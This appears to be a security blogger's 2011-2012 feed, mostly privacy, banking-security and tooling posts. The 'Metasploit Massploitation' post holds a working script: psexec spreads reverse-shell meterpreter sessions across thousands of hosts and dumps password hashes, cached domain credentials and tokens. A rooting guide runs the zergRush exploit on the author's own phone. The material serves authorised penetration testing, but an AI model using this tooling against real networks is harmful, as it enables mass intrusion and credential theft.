Dominic White - Geek

Tracking the Trackers (my mods to the Collusion AddOn)

nospam@example.com (Dominic White) — Thu, 01 Mar 2012 02:12:34 +0200

In July last year, Toolness, released a cool Firefox add-on, named Collusion, that draws a pretty visualisation of who's tracking you as you visit different sites. It gained some popularity after Gary Kovacs, Mozilla CEO, showed it off in his TED talk yesterday.

It's a great little add-on for making something quite hard to explain to people quite visible. However, I didn't like the fact that it only showed trackers that set a cookie. For example, the requests to Facebook to fetch Like button JS, or calls to Google Analytics were being missed. There are lots of ways to track people other than cookies. So I edited the add-on to include third-parties to whom a request was made, but where a cookie wasn't set.

This ends up providing much more data, and the graph gets busy quick. So I re-enabled the dynamic radius function that grows nodes with many incoming links. This gives you a quick visual way to see which trackers you're hitting the most. I also updated the trackers list, as it was over 6months old. I'll switch to the API once/if privacychoice makes it available.

Here's an example of what a request to memeburn.com looks like with all tracker included, followed by the same session after hitting privacychoice.net's top10 most tracker-heavy pages.

I've sent a pull request to the maintainers, so hopefully it'll get merged. In the meantime, my edited add-on can be downloaded here:

collusion-singe.xpi SHA1: 6a08ee743e22da29d97fff5b0e525264666fbcfb

I'd love any feedback you may have.

Caveat: This will show domains that obviously aren't trackers, such as CDNs, but that's minimal, and easy to spot with the new radius stuff.

A Response to Seth Godin's "The Illusion of Privacy"

nospam@example.com (Dominic White) — Fri, 17 Feb 2012 22:48:26 +0200

Seth Godin is a smart guy, and people listen to what he says, but he's recently ventured into an area he knows little about, privacy, and made some mistakes I feel should be corrected.

Seth lays out two claims, the first is that we have no privacy, and the second is that consumer "privacy scares" are actually just because consumers don't like surprises. The first is the most important. It's something you hear all the time, and it damages the potential work privacy advocates and developers can achieve.

You have no privacy

The first mistake Seth has made, is to assume that he knows anything about privacy. As Iain Currie points out in his excellent paper "Some implications of a dignity-based conception of privacy":

[Much] writing about privacy tends to be ‘intuitionist’. This is a form of moral argumentation that relies on people’s innate intuitions of right and wrong. [] The difficulty with [intuitionism] is the unreliability of its results. What some people experience as shameful violations of privacy, others do not. A more general problem with intuition as a basis for ethical decision-making is that some extrinsic quality-control measure always seems to be required to test the rightness of one’s intuitions. The fact that a lot of people feel strong moral revulsion at, say, the idea of interracial or homosexual sex is generally not thought to be a good reason for judging those practices as immoral.

It turns out that privacy is actually quite a tricky concept, and both the fields of moral philosophy and law have spent a considerable amount of nailing it down. I tweeted that a good place to start any readings on privacy, is the Stanford Encyclopaedia of Philosophy's entry on the matter. Just wading in to the field and declaring that credit card, phone and web logs are the sum total of your privacy is the first mistake. The second mistake in his final sentence, is assuming that this is a fait accompli. Just because it's happening, doesn't mean we shouldn't be fighting it. Companies make lots of money by collecting information and selling/monetising it. User's don't really understand or directly/immediately/accountably experience the violations, so all we have to keep corporate greed in check are the privacy advocates, who get privacy, and are working to out the abuses in a way the average user can grok. Letting Seth get away with propagating this stuff hurts us all.

We don't like surprises

In the second part of his entry, Seth attempts to boil privacy reactions to not be about privacy, but rather the fact that we don't like surprises. The obvious rebuttal to this is that lots of people do like surprises. Personally, I hate it when I know what my wife is getting me for my birthday. There's nothing intrinsic to a surprise that should make it a negative, or use it as a design guideline for developers. So if we are to be chartiable to Seth's argument, possibly he meant, we don't like bad surprises. This makes sense, nobody likes getting mugged for example. But, in the end, the "surprise" part appears to have nothing to do with it, and the "bad" part has everything to do with it. It's the loss/trauma of the mugging that is bad, not that it was surprising. What this means, is that the charitable interpretation of Seth's point is: "Consumers don't like it when you do bad stuff with their data."

I wish Seth had analysed his argument, and realised that's what he was actually saying. Because, the next logical step is to realise that his advice to developers should be, to stop doing bad stuff with users data. Not, that it's too late to worry about privacy.

Since Seth didn't, I will, here's my advice to developers:

Don't use data in a manner that does not benefit the user.
If you must, gather actual consent, and only use the data in the consented to manner
Allow the user to opt-out, and still retain some service either up-front or at a later stage

Conclusion

In the end, Seth has propagated a lie that many before him have told. He's just a big public figure. Privacy is hard, you can't knee jerk it. Online/electronic privacy is an active field of research, and improvements should be supported not put down with tired throw-away lines. What's more, technical ways of doing this are available and should be investigated, no matter their surprise value.

P.S. If you're interested in this, you may also enjoy my rebuttal of Paul Rubin.

Internet Banking, 22seven & Security Fallacies

nospam@example.com (Dominic White) — Thu, 02 Feb 2012 14:26:01 +0200

There's been a lot of hoopla recently about internet banking security and the introduction of 22seven. I'd like to add to the discussion, by attempting to extract the key arguments and critically analyzing them.

1) 22seven is secure

Figuring out if something is secure is really hard. The current way the industry measures it is by getting a reputable company to perform an in-depth and broad security assessment. 22seven claim to do this in their description. However, none of the results are published, so as a member of the public, we have little to go on. Even then, security testing is a bit of a market for lemons; that is, unless you are an expert, you don't know if the testers did a good job or not. For me to take their claim seriously I'd like to see a letter of attestation from a reputable security testing firm at the least. Until then, we can't know.

On the flip side, I use tons of online services all day that don't even get around to claiming they test their stuff, let alone go as far as I described above, and so do you. But, these services don't want access to my personal financial transactions, limited power of attorney, and leave all the risk of compromise on me.

2) 22seven is safe because they use Yodlee and they are safe

This is the claim put forward by 22seven themselves as part of their security overview, and elaborated on by Simon Dingle. The problem with this is two fold. First, there are many possible ways in which 22seven could be modified in the event of a compromise to provide access to your credentials, even though Yodlee is secure. Paul Cartmel reminds us of the old security truism; that you're only secure as your weakest link. A simple modification of their invocation of Yodlee would be enough to get the job done. Even if you aren't targeting credentials, a disclosure of your financial transactions alone could be a serious breach. So, you need 22seven to be secure AND Yodlee to be secure.

Even then, the use of a third party, with whom I have no contractual relationship, in another country's jurisdiction (now the US gov can subpoena my financial details, yay) makes me uncomfortable. What recourse do I have to Yodlee if they are the source of a breach?

Once again, you do this all the time, so put it into perspective a little :)

3) Yodlee is safe, because they've never been breached in 13 years

If you refer back to point (1) you'll note that I didn't use "no past breaches" as a criteria for "secure". This is for two reasons again. The first is that detecting breaches is really hard. You need to have significant monitoring, and the capability to understand what the tools are producing to know if you are breached. Even then, the possibility of the attacker being smarter than your monitoring exists (and to bypass your average IDS, you don't have to be that smart). Second, having never been compromised could be as much an indication that nobody has ever tried as it could that the site resisted attacks. Even if it was rock solid till now, people make mistakes, and introduce new code with potential vulnerabilities all the time. The past is no guarantee of future success.

To be fair to Yodlee, at no point on their site do they make this claim. This was put forward by Simon in his article.

4) Yodlee's access to your bank account is a good idea

I'm paraphrasing heavily here, but it captures the general argument between 22seven (and supporters) and the likes of Absa. The claim is that Absa is being a stick in the mud and resiting the new wave of customer service possibilities. Commercials aside, I think Absa has a point here. Of all the possibilities for how 22seven could get your info, giving you banking creds to Yodlee has to be the worst. In fact, this is a solved problem. How do you think you accountant has been getting transactional information from Internet Banking into Quick Books or Pascal all these years? They export the stuff in OFX (open financial exchange) or QFX formats and import it into their tool. Better yet, PFM's that support this have been around for a while. I've been using buxfer.com for over a year with this method, and it works well, without me handing over full control of my bank accounts to a random third party (but you'll not I do fall prey to some of the problems I listed above re jurisdiction & the possibility of buxfer getting hacked). There are a ton of other options too, a client-side browser plugin that stores your creds and imports it into the site would be a use of automation that doesn't require credential disclosure. Here, let me draw a picture:

Banks Response

There seem to have been two responses from two banks, Absa and FNB. Absa's response was to block Yodlee's servers. I think it may be a bit drastic, but I certainly have sympathy for their stated objection to handing your creds over to a third party. FNB, on the other hand, ~~has responded by~~ will be getting rid of their One Time Passwords (via GSM as a 2nd-factor-auth) on login, and relying on transactional ("confirmation") OTPs only. They contacted me to clarify that this was planned before 22seven and was not a response to it. I think this is a bad idea (outside of 22seven), and have asked (as a customer) that FNB retain login SMS notifications at the least (they will publish a log of logins within Internet Banking, but by the time you've found an illegal one, it's possibly too late). ~~Hopefully they'll respond.~~ FNB went on to clarify that login notifications will still be sent by e-mail, and that the audit trail published in the app will include both failed and successful logins.

This has happened before though, with Twitter and Facebook. Remember when you had to give sites your twitter and facebook credentials, and the problems that caused? They ended up building in OAuth and providing an API that caters for third party applications (and per-application permissions). This may the chance for the banks to start doing the same.

Conclusion

I'm not saying 22seven and Yodlee are ripe for hacking, nor that they are safe. I'm not even saying us not knowing they're safe should preclude their use given what you do with the rest of your online data. Unfortunately, you need to make the decision, but I'm sticking to my OFX export in the meantime and find the risk of disclosure some transactional data, should buxfer get hacked, acceptable compared with the benefits it provides me (for e.g. I moved bank after buxfer made it clear just how much I was paying). I'm also not joining in any name calling, I disagree with some of Simon and Paul's points and agree with others, but this stands as my opinion in the end.

Update: Modified the "Bank's Response" section based on feedback from FNB. Thanks for going to the trouble of contacting me :)

How to root a Motorola Atrix 4G on 2.3.4

nospam@example.com (Dominic White) — Mon, 16 Jan 2012 14:56:59 +0200

Thanks to Simon Dingle, I'm going to be getting into the world of Android. One of the things that shocked me over the first few days, was the large number of applications that came bundled with the phone that could not be uninstalled, and had persistent background processes. In the "direct consequences" camp, the Motorola News and Gallery application simultaneously chewed my bandwidth and flattened by battery, in the more worrying "shady unknown consequences" camp, an app call "Arabware [1]" offered to "localize" my services, and also could not be uninstalled or stopped. I decided it was time I got root.

The official guides for how to root a Motorola Atrix 4G on the latest update (2.3.4 at the time of writing) are laughably naive. In 5 minutes I could easily find 50 sites all parroting the same process involving complex and dangerous flashing of firmware. The first bit of mis-information that needs clarification, is that despite the Motorola 2.3.3 developer preview having an unlocked bootloader, the official 2.3.4 Gingerbread update from Motorola DOES NOT HAVE AN UNLOCKED BOOTLOADER. No problem they say, just flash this firmware in this ZIP file, supposedly extracted from a Chinese leaked version of 2.3.3. What?! You want me to flash fimware passed around as a zip file from random locations? Not a chance. To make it worse, after a quick squiz at the .sbf file, I found this comment embedded in it:

"The2dCour, known troll in your phone."

Awesome. Not a chance I'm touching that.
Here's a much safer, simpler way to root your device, which involves no warranty-voiding, security-spine-chilling hoop jumping.

All I wanted was root. I'm familiar enough with Linux to make my way after that. If you're "non-technical" then move along :) The steps are:

Put your phone into USB debugging mode.
Download and install the Android Debugging tool from the Android SDK.

You'll need to run the SDK executable (android) and install the "Platform Tools" to get ADB these days.

Plug your phone into your computer.
Run "adb devices". You should see the serial number of your phone appear.
Download the binary zergRush exploit from it's developers. The source code is also available for you to examine (or compile).
Upload it to your device with "adb push zergRush /data/local/tmp".
Connect to your device with "adb shell"
In the shell, switch to the temp dir and run zergRush "cd /data/local/tmp/; ./zergRush"
You should see the following (the image below has been partially redacted):

If you get the "Killing ADB and restarting as root" line, then it's worked. Exit your adb shell and reconnect. You'll see a "#" as your prompt indicating you're root.

And that's it. On the one hand, I'm happy there's a "safer" easy way to get root on my own device, on the other hand, I'm uncomfortable with the fact that one of Motorola's flagship phones can be 0nwed so easily, with no update forthcoming.

[1] Yes, I know Arabware is a localisation service for the Arabic alphabet. I'm not saying it's shady, just that I see no reason why it should be a mandatory app in South Africa.

Metasploit Massploitation

nospam@example.com (Dominic White) — Sun, 08 Jan 2012 20:42:59 +0200

In light of past and recent posts from mubix (one, two) and jcran, I thought I'd post the hack I used to connect to then run Metasploit post-exploitation modules across several thousand machines. I still need to go through them all and merge them, but I thought I'd throw my hat in the ring. Thank to mubix for his help on the job with some of it.

On a pentest with a massive internal network, we managed to get access to 22k machines as local admin using a local account (verified with ncrack). Obvious domain priv esc routes were shut down, so it was time to extend our control and information. I wanted hashes, cached domain creds and available tokens from each of these. So I put together the following metasploit massploitation script. The main difference between this and the other solutions posted, is that my box fell over with several thousand meterpreter sessions open, so I wanted a way to automate connecting & pulling the info without needed all the sessions to be open at once.

Essentially, there are three parts:

The massploitation.rc, this is the script run in the console (capturing the output is a good idea)
The targets file which has a list of targets, one per line
The extract.rc that is run within each meterpreter session by the massploitation script. You can change this to what you need.

massploit-generic.rc

use multi/handler
setg PAYLOAD windows/meterpreter/reverse_tcp
setg LHOST <Local IP>
set LPORT 4444
set ExitOnSession false
exploit -j -z

use exploit/windows/smb/psexec
set SMBUser <username>
set SMBPass <pass or hash>
set SMBDomain "."
set DisablePayloadHandler true

<ruby>
	hostsfile = "<file containing hosts one per line>"
	File.open(hostsfile).each do |host|
		host.strip!
		print_status("Targetting #{host}")
		self.run_single("set RHOST #{host}")
		self.run_single("exploit -j -z")
		flag = false
		count = 0
		while ( flag == false and count < 5 )
			if ( framework.sessions.length > 0 )
				self.run_single("sessions -s extract.rc")
				flag = true
				#self.run_single("sessions -K")  #trying to resolve the race condition, this didn't work
			else
				count += 1
			end
			sleep(5)
		end
	end
</ruby>

extract.rc

print_status(client.sys.config.sysinfo["Computer"])
print_status(client.sys.config.sysinfo["OS"])
client.console.run_single("load incognito")
client.console.run_single("list_tokens -u")
client.console.run_single("run post/windows/gather/cachedump")
client.console.run_single("hashdump")
client.console.run_single("exit")  #Rather kill the session here

The stuff isn’t perfect, as there is a race condition where sometimes it tries to execute the meterpreter script before the meterpreter session is ready. Other than the delay, I’ll need to spend some time to understand metasploit’s threading.

Dropping Privileges in Python (pattern)

nospam@example.com (Dominic White) — Mon, 14 Nov 2011 16:08:00 +0200

Recently, I had a simple python program that created a listening socket, and was uncomfortable running it as root (required to access a port below 1000). I had a quick look around, and found a good blog entry on doing exactly this. However, when running this on OSX, which uses negative UID and GID, I ran into a problem. It turns out that the negative ID is an offset from UINT32_MAX, i.e. 2^32+(-ve UID). The problem is, Python 2.7.1 (Lion's default) os.setgid() was returning an OverFlowError (but not in 2.7.2). I made a mod to the code to handle that case, and figured this pattern may be useful to others wanting to drop privs in a python app.

import os, pwd, grp

def safe_setgid(running_gid):
	try:
		os.setgid(running_gid)
	except OSError, e:
		print('Could not set effective group id: %s' % e)

def safe_setuid(running_uid):
	try:
		os.setuid(running_uid)
	except OSError, e:
		print('Could not set effective group id: %s' % e)

# Taken from http://antonym.org/2005/12/dropping-privileges-in-python.html
def drop_privileges(uid_name='nobody', gid_name='nogroup'):
	starting_uid = os.getuid()
	starting_gid = os.getgid()
	starting_uid_name = pwd.getpwuid(starting_uid)[0]

	if os.getuid() != 0:
		# We're not root so don't drop, you may want to change this
		print("drop_privileges: already running as '%s'"%starting_uid_name)
		return

	# If we started as root, drop privs and become the specified user/group
	if starting_uid == 0:
		# Get the uid/gid from the name
		running_uid = pwd.getpwnam(uid_name)[2]
		running_gid = grp.getgrnam(gid_name)[2]

		# Try setting the new uid/gid
		try:
			safe_setgid(running_gid)
		except OverflowError, e:
			if (running_gid > 4294967290):
				running_gid = -4294967296 + running_gid
				safe_setgid(running_gid)

		try:
			safe_setuid(running_uid)
		except OverflowError, e:
			if (running_uid > 4294967290):
				running_uid = -4294967296 + running_uid
				safe_setuid(running_uid)

		# Ensure a very conservative umask
		new_umask = 077
		old_umask = os.umask(new_umask)
		print('drop_privileges: Old umask: %s, new umask: %s' % (oct(old_umask), oct(new_umask)))

	final_uid = os.getuid()
	final_gid = os.getgid()
	print('drop_privileges: running as %s/%s' % (pwd.getpwuid(final_uid)[0],grp.getgrgid(final_gid)[0]))

Mobile Privacy-Enhancing Proxies

nospam@example.com (Dominic White) — Fri, 11 Nov 2011 16:06:42 +0200

Modern web-browsers support all sorts of add-ons and plugins. From a privacy perspective, this means you can block adverts and trackers, use tools like GoogleSharing and other request re-directors. However, mobile devices typically don't have the same extensibility. While searching for a way to implement this, I came up with using proxy.pac as a way to do some more advanced network jiggery pokery, without requiring platform specifics (i.e. should work on iOS, Android or even Firefox & Chrome), or the need to jailbreak.

Unfortunately, 1984.za.net is down, and since then I've done a bit more work on this. I presented this briefly in my ITWeb presentation last year (slides 27-30), and figure it was about time to make this properly public. I've put it up on my github at mobile-proxy (have I mentioned I love github).

This is still pretty rough, but it proves the methodology and can be extended.

Two interesting things to come out of it are:

iOS Mobile Proxy Configuration

You can edit the proxy used when your phone is on a mobile network (i.e. not wifi) by editing the file (once jailbroken): /Library/Preferences/SystemConfiguration/preferences.plist and adding the ProxyAutoConfigURLString key as below:

<dict>
	<key>HTTPEnable</key>
		<integer>0</integer>
	<key>HTTPProxyType</key>
		<integer>2</integer>
	<key>HTTPSEnable</key>
		<integer>0</integer>
	<key>ProxyAutoConfigEnable</key>
		<integer>1</integer>
	<key>ProxyAutoConfigURLString</key>
		<string>https://<host>/proxy.php</string>
</dict>

It was pointed out on twitter that the iPhone Configuration Utility should allow this to be done without the need to jailbreak. I'll test it and update things if it works.

BlackHole Proxy

The second interesting thing, is that to block access to a website just redirecting to a non-existent server won't work as WebKit based browsers in particular will try again without using the proxy. Thus, a blackhole proxy was needed. Gert at Sensepost wrote a quick 'n fast twisted server for those purposes, and I extended it to drop privileges to reduce attack surface. It's included on github.

Squinting at Security Drivers & Perspective-based Biases

nospam@example.com (Dominic White) — Tue, 01 Nov 2011 19:17:28 +0200

Originally published on SensePost's blog.

While doing some thinking on threat modelling I started examining what the usual drivers of security spend and controls are in an organisation. I've spent some time on multiple fronts, security management (been audited, had CIOs push for priorities), security auditing (followed workpapers and audit plans), pentesting (broke in however we could) and security consulting (tried to help people fix stuff) and even dabbled with trying to sell some security hardware. This has given me some insight (or at least an opinion) into how people have tried to justify security budgets, changes, and findings or how I tried to. This is a write up of what I believe these to be (caveat: this is my opinion). This is certainly not universalisable, i.e. it's possible to find unbiased highly experienced people, but they will still have to fight the tendencies their position puts on them. What I'd want you to take away from this is that we need to move away from using these drivers in isolation, and towards more holistic risk management techniques, of which I feel threat modelling is one (although this entry isn't about threat modelling).

Auditors

The tick box monkeys themselves, they provide a useful function, and are so universally legislated and embedded in best practise, that everyone has a few decades of experience being on the giving or receiving end of a financial audit. The priorities audit reports seem to drive are:

Vulnerabilities in financial systems. The whole audit hierarchy was created around financial controls, and so sticks close to financial systems when venturing into IT's space. Detailed and complex collusion possibilities will be discussed when approving payments, but the fact that you can reset anyone's password at the helpdesk is sometimes missed, and more advanced attacks like token hijacking are often ignored.
Audit house priorities. Audit houses get driven just like anyone else. While I wasn't around for Enron, the reverberations could still be felt years later when I worked at one. What's more, audit houses are increasingly finding revenue coming from consulting gigs and need to keep their smart people happy. This leads to external audit selling "add-ons" like identity management audits (sometimes, they're even incentivised to).
Auditor skills. The auditor you get could be an amazing business process auditor but useless when it comes to infosec, but next year it could be the other way around. It's equally possibly with internal audit. Thus, the strengths of the auditor will determine where you get nailed the hardest.
The Rotation plan. This year system X, next year system Y. It doesn't mean system X has gotten better, just that they moved on. If you spend your year responding to the audit on system Y and ignore X, you'll miss vital stuff.
Known systems. External and internal auditors don't know IT's business in detail. There could be all sorts of critical systems (or pivot points) that are ignored because they weren't in the "flow of financial information" spread sheet.

Vendors Security vendors are the love to hate people in the infosec world. Thinking of them invokes pictures of greasy salesmen phoning your CIO to ask if your security chumps have even thought about network admission control (true story). On the other hand if you've ever been a small team trying to secure a large org, you'll know you can't do it without automation and at some point you'll need to purchase some products. Their marketing and sales people get all over the place and end up driving controls; whether it's “management by in-flight magazine”, an idea punted at a sponsored conference, or the result of a sales meeting.

But security vendors prioritisation of controls are driven by:

New Problems. Security products that work eventually get deployed everywhere they're going to be deployed. They continue to bring in income, but the vendor needs a new bright shiny thing they can take to their existing market and sell. Thus, new problems become new scary things that they can use to push product. Think of the Gartner hype curve. Whatever they're selling, be it DLP, NAC, DAM, APT prevention or IPS if your firewall works more like a switch and your passwords are all "P@55w0rd" then you've got other problems to focus on first.
Overinflated problems. Some problems really aren't as big as they're made out to be by vendors, but making them look big is a key part of the sell. Even vendors who don't mean to overinflate end up doing it just because they spend all day thinking of ways to justify (even legitimate) purchases.
Products as solutions. Installing a product designed to help with a problem isn't the same as fixing the problem, and vendors aren't great at seeing that (some are). Take patch management solutions, there are some really awesome, mature products out there, but if you can't work out where your machines are, how many there are or get creds to them, then you've got a long way to go before that product starts solving the problem it's supposed to.

Pentesters

Every year around Black Hat Vegas/Pwn2Own/AddYourConfHere time a flurry of media reports hit the public and some people go into panic mode. I remember The DNS bug, where all that was needed was for people to apply a patch, but which, due to the publicity around it, garnered a significant amount of interest from people who it usually wouldn't, and probably shouldn't have cared so much. But many pentesters trade on this publicity; and some pentesting companies use this instead of a marketing budget. That's not their only, or primary, motivation, and in the end things get fixed, new techniques shared and the world a better place. The cynical view then is that some of the motivations for vulnerability researchers, and what they end up prioritising are:

New Attacks. This is somewhat similar to the vendors optimising for "new problems" but not quite the same. When Errata introduced Hamster at ToorCon ‘07, I heard tales of people swearing at them from the back. I wasn't there, but I imagine some of the calls were because Layer 2 attacks have been around and well known for over a decade now. Many of us ignored FireSheep for the same reason, even if it motivated the biggest moves to SSL yet. But vuln researchers and the scene aren't interested, it needs to be shiny, new and leet . This focus on the new, and the press it drives, has defenders running around trying to fix new problems, when they haven't fixed the old ones.
Complex Attacks. Related to the above, a new attack can't be really basic to do well, it needs to involve considerable skill. When Mark Dowd released his highly complex flash attack, he was rightly given much kudos. An XSS attack on the other hand, was initially ignored by many. However, one lead to a wide class of prevalent vulns, while the other requires you to be, well, Mark Dowd. This mean some of the issues that should be obvious, that underpin core infrastructure, but that aren't sexy, don't get looked at.
Shiny Attacks. Some attacks are just really well presented and sexy. Barnaby Jack had an ATM spitting out cash and flashing "Jackpot", that's cool, and it gets a room packed full of people to hear his talk. Hopefully it lead to an improvement in security of some of the ATMs he targeted, but the vulns he exploited were the kinds of things big banks had mostly resolved already, and how many people in the audience actually worked in ATM security? I'd be interested to see if the con budget from banks increased the year of his talk, even if they didn't, I suspect many a banker went to his talk instead of one that was maybe talking about a more prevalent or relevant class of vulnerabilities their organisation may experience. Something Thinkst says much better here.

Individual Experience

Unfortunately, as human beings, our decisions are coloured by a bunch of things, which cause us to make decisions either influenced or defined by factors other than the reality we are faced with. A couple of those lead us to prioritising different security motives if decision making rests solely with one person:

Past Experience. Human beings develop through learning and consequences. When you were a child and put your hand on a stove hot plate, you got burned and didn't do it again. It's much the same every time you get burned by a security incident, or worse, internal political incident. There's nothing wrong with this, and it's why we value experience; people who've been burned enough times not to let mistakes happen again. However, it does mean time may be spent preventing a past wrong, rather than focusing on the most likely current wrong. For example, one company I worked with insisted on an overly burdensome set of controls to be placed between servers belonging to their security team and the rest of the company network. The reason for this was due to a previous incident years earlier, where one of these servers had been the source of a Slammer outbreak. While that network was never again a source of a virus outbreak, their network still got hit by future outbreaks from normal users, via the VPN, from business partners etc. In this instance, past experience was favoured over a comprehensive approach to the actual problem, not just the symptom.
New Systems. Usually, the time when the most budget is available to work on a system is during its initial deployment. This is equally true of security, and the mantra is for security to be built in at the beginning. Justifying a chunk of security work on the mainframe that's been working fine for the last 10 years on the other hand is much harder, and usually needs to hook into an existing project. The result is that it's easier to get security built into new projects than to force an organisation to make significant “security only” changes to existing systems. The result in those that present the vulnerabilities pentesters know and love get less frequently fixed.
Individual Motives. We're complex beings with all sorts of drivers and motivations, maybe you want to get home early to spend some time with your kids, maybe you want to impress Bob from Payroll. All sorts of things can lead to a decision that isn't necessarily the right security one. More relevantly however, security tends to operate in a fairly segmented matter, while some aspects are “common wisdom”, others seem rarely discussed. For example, the way the CISO of Car Manufacturer A and the CISO of Car Manufacturer B set up their controls and choose their focus could be completely different, but beyond general industry chit-chat, there will be little detailed discussion of how they're securing integration to their dealership network. They rely on consultants, who've seen both sides for that. Even then, one consultant may think that monitoring is the most important control at the moment, while another could think mobile security is it.

So What?

The result of all of this is that different companies and people push vastly different agendas. To figure out a strategic approach to security in your organisation, you need some objective risk based measurement that will help you secure stuff in an order that mirrors the actual risk to your environment. While it's still a black art, I believe that Threat Modelling helps a lot here, a sufficiently comprehensive methodology that takes into account all of your infrastructure (or at least admits the existence of risk contributed by systems outside of a “most critical” list) and includes valid perspectives from above tries to provide an objective version of reality that isn't as vulnerable to the single biases described above.

mutt & iCal (some OSX specific)

nospam@example.com (Dominic White) — Mon, 24 Oct 2011 18:56:47 +0200

I moved back to the world of civilized e-mail, i.e. mutt. It's been wonderful, and I particularly enjoy hacking my mailcap to display things just how I like them (no PDF sploits for me). However, OSX's handling of calendar files is very irritating in that iCal tries to send responses via Mail.app without giving you much of a chance to do anything. I'd rather handle it in mutt and the cli. This is also generally useful for people using mutt who want to handle calendar files.

I found a script mutt-ical, which does most of what I wanted; parse the ics, ask me what I want to do, then mail the organiser with my response. I made some changes to make it support Outlook generated calendar files, not override your mutt "send" settings, and display the calendar details in plaintext before you decide to accept/decline/tentative it.

Download my version here. (~~I'd submit a patch, but the developer has no working contact details~~ I worked out how git pull request work :) )
Copy it into somewhere in your PATH, (or you can specify the PATH in your .mailcap)
Edit your mailcap to have the following line:

text/calendar; <path>mutt-ical.py -i -e "user@domain.tld" %s
For added fun on OSX, you can extend it to the following, to get iCal to open it nicely too (iCal cares not for mime types it seems):
text/calendar; open %s && ~/bin/mutt-ical.py -i -e "dominic@sensepost.com" %s; nametemplate=%s.ics
~~text/calendar; mv %s %s.ics && open %s.ics && <path>mutt-ical.py -i -e "user@domain.tld" %s.ics && rm %s.ics~~ (I found nametemplate fixes this problem)

You can force iCal to stop trying to send mail on your behalf by replacing the file /Applications/iCal.app/Contents/Resources/Scripts/Mail.scpt with your own ActionScript. I went with the following: error number -128 Which tells it that the user cancelled the action.

Open AppleScript Editor, paste the code from above into a new script, then save it.
Move the old script /Applications/iCal.app/Contents/Resources/Scripts/Mail.scpt just in case you want to re-enable the functionality.
Copy your new script into place.

ZaCon III - TBOY

nospam@example.com (Dominic White) — Mon, 10 Oct 2011 09:20:15 +0200

TBOY - The Best One Yet

ZaCon III has come and gone this last weekend. It was a blast, solid content including some exciting first timers and more than doubling the original research output, an extension to include a Fri night, and the first time we ran with volunteers. The fact that the con seems to be getting better each year is important for me.

"It looks a bit eclectic"

Friday night kicked off around 7 at an uber-chilled venue, described by Roelof as "what I always imagined ZaCon should be" which was pretty great. Despite a projector failure, and nowhere to put the backup one, Roelof and Marco both presented some really entertaining talks. It was a nice mix of entertaining (and freaky) OSint followed by some hardcore vuln research. The time on either side to meet and talk to people was fun as a change to the usual brain-bending long day that is ZaCon.

Coffee was Flowing, Hangovers were Showing

Saturday kicked off with some more projector and microphone troubles followed by a power failure to one side of the room, but by the first tea break we had a duct taped alternative projector stand up and running, the lapel mic microphone replaced and power piped in from the surrounds. The talks started with more than 100 people filling the uncomfortable benches, and the three upstream tubes providers taking some strain thanks to the RF-busting styles of our internet volunteers, Peter Stayt & Prince Sihlahla. Our local site (local.zacon.org.za, up for a few days more if you want to get your ratings in) ran smoothly for a change thanks to Ralfe Poisson.

My favourite talks of the day go to Jeremy du Bruyn on practical password cracking and Reino Mostert on NNTP cache enumeration and poisoning. Partly because they were first time speakers, delivering original research output, and partly because they were awesome speakers with awesome talks even without the caveats. The "can I go to jail if" talk from Matt Erasmus and Helaine Leggat with Matt collecting and asking the questions, and Helaine answering was also great, and we're thinking of making it a regular feature if they agree. The only thing I missed there, was a light of hope. I got the feeling that in ZA vuln research has *no legal protection* and your only defense is not to do it. There were several other talks I greatly enjoyed too.

We'll be collecting slides, DiscussIT will be publishing audio, and some time later we'll try get the videos out.

ZaCon IV

We've got pages of things to improve on for next year, and hopefully we'll be able to retain the TBOY label. In the meantime, it's never too early to start pondering a submission for next year, start talking it over at the next 0xC0FFEE session, subscribe to the community@zacon.org.za mailing list or join the #zacon chan on irc.atrum.org.

Thanks

So many people did so many things, here's a brief list of people who need thanking in no particular order

The speakers - without you guys there's no con
People@ - you know who you are
The volunteers

Local site - Ralfe
Internets - Peter, Prince
Registration - Tim, Ross
Badges - Andrew
Venue - Sagi <-- Big shouts to this guy, who did some some hard work
Audio & Video - Tony and Jameel

Attendees - presenting to an empty room wouldn't be as much fun
University of Johannesburg - for hosting us
Cafe Pronto - for the coffee

Security Policies - Go Away

nospam@example.com (Dominic White) — Tue, 19 Jul 2011 13:27:00 +0200

This is re-published, from the original on the SensePost blog.

Security policies are necessary, but their focus is to the detriment of more important security tasks. If auditors had looked for trivial SQL injection on a companies front-page as hard as they have checked for security polices, then maybe our industry would be in a better place. I want to make this go away, I want to help you tick the box so you can focus on the real work. If you just want the "tool" skip to the end.

A year and a half ago, SensePost started offering "build it" rather than "break it" consulting services, we wanted to focus on technical, high-quality advisory work. However, by far the most frequently "consulting" request we've seen has been asking for security policies. Either a company approaches us looking for them explicitly or they want them bolted on to other work. The gut feel I've picked up over the years is that if someone is asking you to develop security policies for them, then either they're starting on security at the behest of some external or compliance requirement or they're hoping that this is the first step in an information security program. (Obviously, I can't put everything into the same bucket, but I'm talking generally) Both are rational reasons to want to get your information security policies sorted, but getting outside consultants to spend even a week's worth of time developing them for you, is time that could be better spent in my opinion. My reasons for this are two-fold:

If you're starting a security program, then you have a lot to learn and possibly a lot of convincing of senior management to do. Something like an internal penetration test (not that I'm advocating this specifically instead of policy) will give you far more insight into the security of your environment and a lot more "red ink" that can be used to highlight the risk to the "higher ups".
Security policies don't "do" anything. They are a representation of management's intention and agreements around security controls, which in the best case, provide a "cover my ass" defense if an employee takes you to task for intercepting their e-mails or something similar. The policies need to be used to derive actual controls, and are not controls in themselves.

Instead, we too often end up in a world where security policies, rather than good security, is the end goal while new technologies keep us amused developing new ones (mobile policies, social media policies, data leakage policies etc.)

Saying all of this is fine, but it doesn't make the auditors stop asking, and it doesn't put a green box or tick in the ISO/PCI/CoBIT/HIPAA/SOX policies checkbox. Previously, I've pointed people at existing policy repositories, where sample policies can be downloaded and modified to suit their need. Sites such as CSOOnline or PacketSource have links to some policies, but by far the most comprehensive source of free security policy templates is SANS. The problem is people seem to look at these, think it looks like work, and move on to a consultancy that's happy to charge for a month's worth of time. Even when you don't, the policies are buried in sub-pages that don't always make sense (for example, why is the Acceptable Use Policy put under "computer security"), even then several of them are only available in PDF form (hence not editable), even though they are explicitly written as modifiable templates. What I did was to go through all of these pages, download the documents, convert them into relevant formats and categorise them into a single view in a spreadsheet with hyperlinks to the documents. I've also included their guidance documents on how to write good sec policies, and ISO 27001-linked policy roadmaps. I haven't modified any of the actual content of the documents, and those retain their original copyright. I'm not trying to claim any credit for others' hard work, merely make the stuff a little more accessible.

You can download the index and documents HERE.

